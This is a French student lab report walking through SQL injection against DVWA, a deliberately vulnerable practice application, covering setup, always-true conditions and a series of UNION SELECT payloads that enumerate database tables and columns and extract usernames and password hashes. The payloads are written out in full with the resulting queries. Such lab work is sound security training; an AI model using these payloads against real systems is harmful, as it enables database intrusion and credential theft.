Yanis Laldji

TP Injection SQL DVWA

Installation et configuration :

Xampp est déjà installer mais dvwa ne l'ai pas.

DVWA :

Une fois le dossier télécharger sur github, le dossier DVWA doit ensuite être déplacer dans le dossier htdocs de xampp.

Injection sql :

a) Étude du code source

Le script php renvoie le first name et le surname en fonction de l'id entrer dans le champs puis sélectionne le fisrt name et le last name dans la table user en fonction du user_id qui est égale à l'id rentrer dans le champs.

b) Test de vulnérabilité

En tapant 1 dans le champs on constate que les champs renvoyer sont le first name et le surname qui sont admin et admin.

c) En rentrant %' or '0'='0 dans le champs modifie la requête select ce qui donne :

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'

Elle permet de d'afficher tout les utilisateur car le signe % permet d'afficher un user si il contient des caractères ce qui donne une requête qui est toujours vrai.

d) Afficher la version de la base de données

En rentrant %' or 0=0 union select null, version() # dans le champs modifie la requête select ce qui donne :

SELECT first_name, last_name FROM users WHERE user_id =%' or 0=0 union select null, version() #

Elle permet de d'afficher les utilisateur avec le signe % ce qui affiche tout les utilisateurs puis rend le first name et le last name null puis affiche la version de mariadb.

e) Afficher toutes les tables INFORMATION_SCHEMA :

En rentrant %' or 0=0 union select null, table_name from information_schema.tables # dans le champs modifie la requête select ce qui donne :

SELECT first_name, last_name FROM users WHERE user_id = %' or 0=0 union select null, table_name from information_schema.tables #

La requête permet d'afficher tout les username puis toute les tables de information schéma.

f) Afficher toutes les tables utilisateur d'INFORMATION_SCHEMA

En rentrant %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user %'# dans le champs modifie la requête select ce qui donne :

SELECT first_name, last_name FROM users WHERE user_id = %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user'#

Cette requête permet d'afficher toutes les tables qui commence par user

g)Afficher tous les champs de colonnes dans la table user d'INFORMATION_SCHEMA :

En rentrant %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name like 'users'#

SELECT first_name, last_name FROM users WHERE user_id = %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name like 'users'#

Cette requête permet d'afficher les colonnes de la tables users et renvoie users comme surname.

h) Afficher tous les contenus de champs de colonnes dans la table user d'INFORMATION_SCHEMA

En rentrant %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

SELECT first_name, last_name FROM users WHERE user_id = %' and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Cette requête permet d'afficher le fistr_name, le last name le user et le mot de passe hashé du user.